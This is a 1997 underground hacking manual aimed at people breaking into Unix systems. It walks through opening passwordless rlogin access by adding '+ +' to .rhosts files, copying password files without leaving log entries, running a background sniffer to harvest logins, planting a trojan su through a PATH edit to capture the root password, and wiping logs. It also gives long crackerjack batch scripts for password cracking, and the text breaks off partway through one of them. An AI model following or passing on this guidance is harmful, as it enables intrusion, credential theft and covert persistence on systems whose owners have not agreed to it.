THIS PAPER CONTAINS .C CODE - MAKE SURE TO TURN WORD WRAP OFF! In your editor!! AND DO NOT SAVE ANY CHANGES TO THIS FILE IF ASKED.... Unix Utils Linux/BSD/SySV/SunOS/IRIX/AIX/HP-UX Hacking Kit v1.0.c Jan/97 Hacking Kit v2.0.b March/97 (this is an update) By: Invisible Evil IRC: #unixhacking #virus #hackers #virii #hacking #hacker #hack is just to busy for me ;) NICK: i-e ********** Disclaimer ********** True this manual will aid hackers into breaking into systems but it is also provided to guide system admin's on different security problems and help with things to watch for on their system to keep hackers off. If you use this manual to gain access to any system where you do not belong, and do any type of damage, you alone will suffer for your stupid actions! I am not telling you to break into any system, I am just showing some of my experience, and things that I would do if I was to break into my own system. This is for information only..... ISP's Secure Your Systems! ******* Preface ******* Ok, lets get started. If you are going to hack, you must be doing this for a reason. All hackers have their reasons for doing what they do. Most are just hungry to learn. Most of what I have learned about unix, i have learned on some service providers or someone else's machine. I am one for the 'hands on' experience. There is much to learn and you would have to read 20,000 books just to get what you would learn out of a few config files, a few admin email messages, some .bash_history files, and some poking around a few systems. Here in this manual you should learn how to be the 'complete hacker' and come up with a style of your own. It will not take to long, but it will take some practice and experience before you will be able to call yourself a hacker. Not just anyone that can crack a password file, and log into a unix machine can call themselves a hacker. Ok, you can get root access to a box! You still are not a hacker! You need to know why you are a hacker first, and then have your 'code' and 'style'. You need a purpose and a reason for hacking into any box. The true hacker knows why he is doing what he does, and is doing it for reasons like knowledge, free information, and ACCESS. The true hacker will turn one hack into access to many different systems and providers and keep this access for future learning and more FREE information. The wan-a-be hacker will not be invisible, and will do many stupid things like: delete or corrupt data, down the machine, run bots or irc clients from root accounts or machines Give the passwords he cracked to everyone in the world to prove they can hack. Or they might just do stupid things that will get themselves cought. I think sometimes this is done purposely just to draw attention to themselves so they can get cought and make the announcement that they are a hacker, and they were here! A real hacker needs no such glory, he just needs the access and wants to keep it and be invisible! He will not tell many friends about the system, he will not give out the passwords or accounts, he will keep others off so he can continue his access there and keep it clean. Here in this manual i hope that i can add enough style so that you can have real heart in this matter and and be a good clean hacker. Happy hacking ... -------------------------------- Chapter I Unix commands you need to know. -------------------------------- There are just a few basic commands you need to learn, and then some unix programs that will aid you in logging in logging into or keeping access to the machine. Call your local internet service provider and ask them to sell you a shell account so that you will have something to practice on to learn these basic commands. The average shell account might cost you $10.00 per month if you don't already get one with your existing account. -------------- Section 1A Basic commands -------------- I hope you have a basic knowledge of DOS, that would help a bit, and I will assume that you already do in writing this manual. DOS Commands you are used to first: REMEMBER: unix is case sensitive, so if I here use lower case you must also, if I use a space you must also. DOS will let you get away with allot of things but unix will not! DIR/W = ls DIR = ls -l DIR/AH = ls -al AH=(hidden) -al=(include hidden files as well as regular) RENAME = mv ATTRIB = chmod MD = mkdir RD = rmdir DEL = rm COPY = cp These are the basic commands, i suggest that you lookup the man pages on each one of these commands from your unix shell. You would do this by typing 'man command' without the ''. each one of these commands will have switches for them, like cp -R to copy files and directories. So you would type man cp to get all of the switches you can use with the copy command. cd {then press enter} will always take you to your home directory cp filename $HOME will copy the file to your home directory cd ~username will take you to that users home dir if you have access to be there pwd {press enter} will show you what directory you are in. ------------- Section 1B Telnet ------------- Telnet is a command that you can use from a shell account, or from an exe file (telnet.exe) from Windows, OS/2, Windows 95 and other operating systems that will let you connect to another machine on the net. There are other programs you will learn about here like FTP, and rlogin that you can use as well but now we will use telnet. You can use telnet if you know the IP address or the host name you want to connect or login to. To use the command you would just use the telnet program to connect to the IP or host like this: Telnet netcom.com or telnet 206.146.43.56 Ok, now lets login: telnet machine.com trying ..... Connected to machine.com Linux 2.0.28 (machine.com) (ttyp0) machine login:username password:####### bash$ Your prompt might look different, but we will use this one. Notice above that it will tell you the O/S when you get the login prompt. You can use this if you get a large collection of passwd files. Even before going on to crack them sort them by O/S types by just telnet-ing to them to see what they are running. There are other ways, but lets keep this telnet topic going for a sec... telnet domain.name.com, after you see what they are running make a note of this and ctrl ] to break out of the connection. Put all of your linux passwd files into a pile to be cracked first. All we need is one account that works for the system, and we can be almost sure we will have root on that machine! There are way to many holes in linux to think we will not be able to own one of those machines, so lets get to work so we can start this wonderful world of hacking. ---------------------- Unix File Permissions ---------------------- bash$ bash$ cd /tmp bash$ ls -l total 783 -rwx------ 1 wood users 1 Jan 25 18:28 19067haa -rw-r--r-- 1 berry mail 1 Jan 16 12:38 filter.14428 -rw------- 1 rhey19 root 395447 Jan 24 02:59 pop3a13598 -rw------- 1 rhey19 root 395447 Jan 24 03:00 pop3a13600 drwxr-xr-x 4 root root 1024 Jan 12 13:18 screens First notice that we used a / and not \ to change to the tmp directory! Unix uses the / as the root so it is backwards from DOS here. Notice we did ls -l for the long directory. If we did 'ls' we would have what you see below. bash$ ls 19067haa filter.14428 pop3a13598 pop3a13600 screens With what we see here can not tell much, so most of the time we will be using ls -al with the -al we will see the hidden files also, hidden files and directories will always start with a '.'. Now watch: bash$ ls -al total 794 drwxrwxrwt 4 root root 8192 Jan 25 23:05 . drwxr-xr-x 22 root root 1024 Dec 28 18:07 .. -rw-r--r-- 1 berry users 6 Jan 25 23:05 .pinetemp.000 drwxr-xr-x 2 berry users 1024 Jan 25 23:05 .test -rwx------ 1 wood users 1 Jan 25 18:28 19067haa -rw-r--r-- 1 berry mail 1 Jan 16 12:38 filter.14428 -rw------- 1 rhey19 root 395447 Jan 24 02:59 pop3a13598 -rw------- 1 rhey19 root 395447 Jan 24 03:00 pop3a13600 drwxr-xr-x 4 root root 1024 Jan 12 13:18 screens .pinetemp.000 is a hidden file, and .test is a hidden directory. -rw-r--r-- 1 berry mail 1 Jan 16 12:38 filter.14428 row 1 row2 row3 ---------------------------- Now here we need to learn about permissions, users, and groups. Row #1 is the file permissions Row #2 is who owns the file Row #3 is the group owner of the file File permissions are grouped together into three different groups. If the line starts with a d, it is a directory, if there is no d, it is a file. - --- --- --- | | | |--------> Other = anyone on the machine can access | | |------------> Group = certain groups can access | |----------------> User = only the owner can access |------------------> Directory Mark - rw- r-- r-- | | | |--------> Other can only read the file | | |------------> Group can only read the file | |----------------> User can read or write to the file |------------------> It is not a directory - rwx rwx r-x | | | |--------> Other can read and execute the file | | |------------> Group can read write and execute the file | |----------------> User can read write and execute the file |------------------> It is not a directory The owner is the user name in row #2 and the group owner is the name in row #3. In DOS the file has to have a .exe, .com, or .bat extension to execute, but in unix all you need is the --x in your group of user, other, group You can change these permissions if you own the file or have root access: --------------------------------------------------------------------------- chmod oug+r filename will make all three groups of permissions be able to read the file. chmod og-r filename would make the file readable only to the user that owns the file. (notice the - or + to set the file yes or no) chmod +x filename would make the file execute by all. chown username filename would make the file owned by another user. chgrp groupname filename would make the file owned by another group. --------------------------------------------------------------------------- Make sure to keep file perm's and groups the same or you will be sniffed out and booted from the system. Changing configs on the system might only break other functions, so keep your paws off or you are just asking to get cought. Only do what you are *SURE* of. Only use commands that you know, you might find yourself spending hours fixing just one typo like chown -R username /* could keep you busy for a year ;) Just be careful! We will get into this stuff more as we go into the needs for this. ------------------ Section 1C Rlogin ------------------ There is another command you might use and we will get into this elsewhere as we get into using rlogin to login to a system without a password. For now read the man pages on rlogin by using the man rlogin from your shell account. The basic command would be : rlogin -l username hostname connecting.... password: bash$ Rlogin requires the user to have a file in their home directory that tells what system they can receive the rlogin from. In this file .rhosts it would look like this: username hostname (or) hostname if you were to add to this file + + it would let any user from any host login without a password. The file would look like this: ----- cut here ------ + + _____ cut here ------ if they already had entry's you could add the + + under their host names, but remember now they would notice seeing they would now be able to rlogin without the password. You would be targeting people that did not already have a .rhosts file. --------------- Section 1D FTP --------------- Another way to login will be FTP. You can use a windows client, or just login from a shell. ftp ftp.domain.com This will allow you to download or upload files to the site you are hacking. Just make sure to edit the xferlog (see section 6d) to wipe your tracks on the system. Remember NEVER to ftp or telnet out of the hacked system, only log into it! If you are coming from your own system, or from another hacked account you might just be giving your login and password to the system admin or another hacker on their system. There could be a telnetd or ftpd trojan loaded on the system, or even a sniffer. Now you would have just gave someone your login id and password. And if this was the system admin, he might have the idea that revenge is sweet ;) Using ftp from the shell, I would suggest using a few commands: After you login, and have your prompt, type these commands pressing enter after each one. prompt hash bin prompt will allow you to type a command like (mget *) or (mput*) and transfer an entire directory without having it prompt you for each file yes or no. hash marks hash will put ############ on the screen so you can see the transfer is still moving and at what speed. bin will make sure you get the files in the right mode, and if transferring binary files, you will be sure they will uncompresses. The transfer commands are easy, get filename, or, put filename, or for many files you can use regular wild cards with mput or mget. -------------------- Section 1E GCC compiler -------------------- There will be a time when you will need to compile a .c file. It is best to compile on the machine you are working on. So upload or copy and past the files to the hacked box and compile them there. If you have problems with their compiler you can try to upload pre-compiled files. One way to get the file up to the victims machine would be to use copy and paste. Get a good tsr or windows shareware program to do this if you do not have any way to do it now. You can copy a script file from one window and paste it into an editor on the victims machine, and then compile the new file. Walaa... no upload log of the file. You can copy and paste from the victims machine as well so that there are no download logs of ascii files. To copy and paste you can just open an editor on the hacked box, and then copy from your other session, and paste your script into the editor and save the file. This way there will not be anything in the xferlog yet. You can do the same thing with the password file. If you do decide to download the password file using ftp, make sure to copy it to your home directory first under a different name. bash:/etc:> cp passwd $HOME/plog would copy the file called passwd from the /etc directory you were in, to your home directory in a file called plog instead of passwd. Admin's grep the xfer logs looking for who is downloading the passwd file. Another way to get file to or from the box without showing up in the logs would be to open an irc session on the victims machine, then from your other session where you are already a user on irc, send the files using dcc. The command to send the files would be /dcc send The command to get the file on the other side would be /dcc get It would be nice if you had a bot loaded on the irc when you were hacking so that you could just send files to the bot and have it auto receive them. A 'bot' is a robot program that you can load in the background on your shell account that will receive files, keep channels open, etc... The GCC compiler is easy... gcc filename.c -o filenameyouwant If i was to compile a file called z2.c that would zap the log files i would type this: gcc z2.c -o zap This would give me a file that would exe, called zap If I just typed : gcc z2.c I would have a file named a.out, that was the executable file and would have to rename it to zap, or some name i would know by doing this: mv a.out zap Now I would have a file named zap that was executable instead of a.out. You will want to make sure you are not naming these files names that sys admin's will know. If you had a sniffer file called 'linuxsniffer.c' you don't want to keep the same name ;) call it something like: gcc linuxsniffer.c -o lsn Remember also sometimes you can execute these files names right in the directory by just typing the file name like for our 'lsn' (sniffer) above just by typing lsn. But sometimes this will not work unless you add a ./ to the command. So remember, sometimes you will need to type ./lsn or your file name. Also there will be a time you will want a program to run in the background even after you logoff. Like in the case of the sniffer above. In this case you might want to name your sniffer something that would not be so easy noticed. Use your own style here. BUT to make it stay in the background while you are off the system you need to run the command with a & after the command. lsn& If you were to just type lsn, your screen would pause, and you would not be able to type while the program was sniffing, but if you typed lsn& it would load and the system prompt would come right back to you. Also the system would let you know it was loaded by giving you the process id # that it was loaded as. You could view the process with the ps -x command, you might want to run ps -auxe |more a= all u= show user x= yours e= env some machines f=tree or command: pstree ------------------------------------ Chapter II Getting started (your first account) ------------------------------------ There are many ways to get a starter account. I will go into each area to help you get started. All you need is one good account to spawn off to hundreds of accounts. Think of this; You get one good exploitable system, most any linux machine ;) Now you get root access and load a sniffer program. The TCP sniffer will search out any login process on the network and log the login and password for any telnet, ftp, or dial-in session going out or coming into the system. Now even if it is a small ethernet connection you have around 100 passwords for a few machines or domains. If a larger net provider you have hundreds of accounts all over the world! All you need for this is one good account and password to an exploitable system. If it seems you can not exploit root on the system, this might be a good system to crack passwords on and exchange the accounts for other accounts from hackers or irc users that are looking to load a bot but do nt have the shell account or disk space to do it. NEVER give out even one password to a system you exploited root on. Keep these systems to yourself! Lets now get into ways to get your first accounts. ------------------------ Section 2A. Cracking passwd files ------------------------ If you are hacking with the right frame of mind, you will run the crack program until you get one good account that will let you into the system. You will login and see if you can exploit root on the system, if so, get root, get the files you need to use into your nested directory, and erase your presence, and clean all of the logs. Now you are ready to load your sniffer. Why go on hacking passwords for a system that within 24 hours you will have most of the passwords anyway? Not only for the machine you just hacked, but other machines that were connected to as well. If the system is not exploitable don't even waste your time on it, go on to the next. At a latter date if you want to crack passwords for accounts to trade go ahead. If you get an admin's account cracked you might want to read his history files, and see if he is using the su command to access root allot. If he is you can use an su trojan on him. This will get you the root password. This works like this: You change his shell script so that a hidden directory (.term) is good, is set in the search path before all other directories. You put a fake su binary in the .term (or other) directory. He types su, everything looks good to him, he types in the root password when prompted, the password id copied to a log file in /tmp/.elm69, and deletes the trojan su file, and returns to him a password error telling him to try again. He thinks he must have done something wrong and runs su again, but this time the real one and logs in. You will find this fake su program in the last appendix named uuencoded files. Here are the docs: Fake SU by Nfin8 - i-e IRC: /msg i-e Easy as 1,2,3 ... 1. Change the path in one of the user accounts that you have access to that you see is using SU from reading their history files, to hit a path first that you have placed the su trojan file into. .term or .elm is good! 2. Make sure to edit the top of the su.c file to the path you will be using so that the sutrojan will delete isself and let the real SU work for the second try. 3. Put all of the files in the target directory and compile the su.c file. gcc su.c -o su Then delete all of the files but the su. All done! .bash_profile might look like this: # .bash_profile # Get the aliases and functions if [ -f ~/.bashrc ]; then . ~/.bashrc fi # User specific environment and startup programs PATH=$PATH:$HOME/bin ENV=$HOME/.bashrc USERNAME="" export USERNAME ENV PATH You change the first line to: PATH=$HOME/.term:$PATH:$HOME/bin When the sys admin run's 'SU' it will run the SU-trojan in the .term directory first and report that the password he typed was wrong, the Trojan su program would have put a hidden file in the /tmp directory for you that contains the root password (or account passwd) typed. If it was an account rather then the root password it will let you know the account name. Then the trojan su program deletes itself so that the next try will get the real su program. You can find the admin's at the top section of the passwd file in the /etc directory. Just type : more passwd You can be sure that the first two real accounts made in the passwd file are admin's, also sometimes you can find others by where their directories are located in the password file. Like /staff/username. The history files are in each users account directory. You can read these to see what the last commands were that were typed by the user. Sometimes as much as the last 100+ commands. Look for the file .bash_history, or History, you can read these using more. command: more .bash_history, or most times to keep your typing you can type : more .b* (or) just type : more .b (and then hit the tab key on your keyboard). Ok so now you need a good password cracking program. You can see in the next chapter on how to get password files from systems that you do not have an account on, but it is catch 22, you need the password cracking program too. There are three things that you will need. 1. Password cracking program 2. Good word files 3. Password files The best password cracking program to start would be crackerjack. You can search the web and find this easy as 1,2,3. Download it and you are ready to go. If you are a bit more advanced you can download a cjack for unix and run it in a shell. But if you are just getting started get the DOS/OS/2 version. Also search for some good word files. The best word files are the names. You will find that most unsecured passwords out there are guy's girlfriends names, of girls boyfriends names ;) You will find word files like 'familynames' 'babynames' 'girlsnames' 'boysnames' 'commonpasswords' hackersdict' and other like these to be the best. Load crackerjack like this: [D:\jack]jack Cracker Jack version 1.4 for OS/2 and DOS (386) Copyright (C) 1993, The Jackal, Denmark PWfile(s) : domain.com.passwd Wordfile : domain.com.passwd Like above run the password file as the wordfile first. This will get you all of the logon's first that used their login name as their password, also if they used any other info like their real name or company name it will hit right away and you will not have to wait for the program to search through a word file. If you want to hash the word file to get more out of it you can read the doc's for crackerjack. Hashing is where you can tell crackerjack to change the case of the wordfile or even add numbers or letters to the beginning or end of the words in the word file, like sandy1 or 1sandy. You will find that many users do this and think they are more secure. Here are hashing files for both the passwd file and your word list. After looking these over you will see how you can modify these or create new ones to suit your needs. ------------ start of dicthash.bat @echo off cls echo - THIS FILE FOR DOS MACHINES echo ---------------------------------------------------------------------- echo - To work this batch file have all of the crackerjack files in the echo - current directory with this batch file, along with your dict and echo - password file. Then use this batch file using the following format: echo - echo - dicthash.bat dictfilename.ext passwordfilename.ext echo - echo - Make sure to have the jpp.exe and jsort.exe files in your dir as well. echo - echo - dicthash will first load jack running the dict file against your echo - password file in both cases, then it will add numbers 0-9 both to echo - the begining and end of every dict word. This will take a while, echo - so go out for that week vacation! echo - echo - If you get tired you can 'ctrl c' to the next option or number. echo - echo - ii@dormroom.pyro.net echo - echo - Mail me some of your hits, let me know how this works for you ;) jpp -lower %1 | jack -stdin %2 jpp %1 | jack -stdin %2 jpp -dot:0 %1 | jpp -translate:.1 | jack -stdin %2 jpp -dot:7 %1 | jpp -translate:.1 | jack -stdin %2 jpp -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %2 jpp -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %2 jpp -dot:0 %1 | jpp -translate:.2 | jack -stdin %2 jpp -dot:7 %1 | jpp -translate:.2 | jack -stdin %2 jpp -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %2 jpp -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %2 jpp -dot:0 %1 | jpp -translate:.3 | jack -stdin %2 jpp -dot:7 %1 | jpp -translate:.3 | jack -stdin %2 jpp -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %2 jpp -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %2 jpp -dot:0 %1 | jpp -translate:.4 | jack -stdin %2 jpp -dot:7 %1 | jpp -translate:.4 | jack -stdin %2 jpp -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %2 jpp -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %2 jpp -dot:0 %1 | jpp -translate:.5 | jack -stdin %2 jpp -dot:7 %1 | jpp -translate:.5 | jack -stdin %2 jpp -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %2 jpp -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %2 jpp -dot:0 %1 | jpp -translate:.6 | jack -stdin %2 jpp -dot:7 %1 | jpp -translate:.6 | jack -stdin %2 jpp -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %2 jpp -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %2 jpp -dot:0 %1 | jpp -translate:.7 | jack -stdin %2 jpp -dot:7 %1 | jpp -translate:.7 | jack -stdin %2 jpp -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %2 jpp -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %2 jpp -dot:0 %1 | jpp -translate:.8 | jack -stdin %2 jpp -dot:7 %1 | jpp -translate:.8 | jack -stdin %2 jpp -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %2 jpp -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %2 jpp -dot:0 %1 | jpp -translate:.9 | jack -stdin %2 jpp -dot:7 %1 | jpp -translate:.9 | jack -stdin %2 jpp -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %2 jpp -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %2 jpp -dot:0 %1 | jpp -translate:.0 | jack -stdin %2 jpp -dot:7 %1 | jpp -translate:.0 | jack -stdin %2 jpp -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %2 jpp -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %2 ---------------- end of dicthash.bat ---------------- start of jackhash.bat @echo off cls echo - THIS FILE FOR DOS echo ---------------------------------------------------------------------- echo - To work this batch file have all of the crackerjack files in the echo - current directory with this batch file, along with your password file. echo - Then use this batch file using the following format: echo - echo - jackhash.bat passwordfilename.ext echo - echo - Make sure to have the jpp.exe and jsort.exe files in your dir as well. echo - echo - jackhash will first load jack running the passwd file against echo - itself in both upper and lower cases, then it will add numbers 0-9 echo - both to the begining and end of every dict word. This will take echo - a while, so go out for that week vacation! echo - echo - If you get tired you can 'ctrl c' to the next option or number. echo - echo - ii@dormroom.pyro.net echo - echo - Mail me some of your hits, let me know how this works for you ;) jpp -gecos:5 -lower %1 | jack -stdin %1 jpp -gecos:5 %1 | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.` | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.` | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.` | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.` | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.~ | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.~ | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.~ | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.~ | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.! | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.! | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.! | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.! | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.A | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.A | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.A | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.A | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.a | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.a | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.a | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.a | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.q | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.q | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.q | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.q | jack -stdin %1 jpp -gecos:2 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:2 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:2 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:2 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:2 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:2 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:2 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:2 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:2 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:2 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:2 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:2 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:2 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:2 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:2 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:2 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:2 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:2 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:2 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:2 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:4 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:4 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:4 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:4 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:4 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:4 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:4 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:4 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:4 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:4 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:4 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:4 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1 jpp 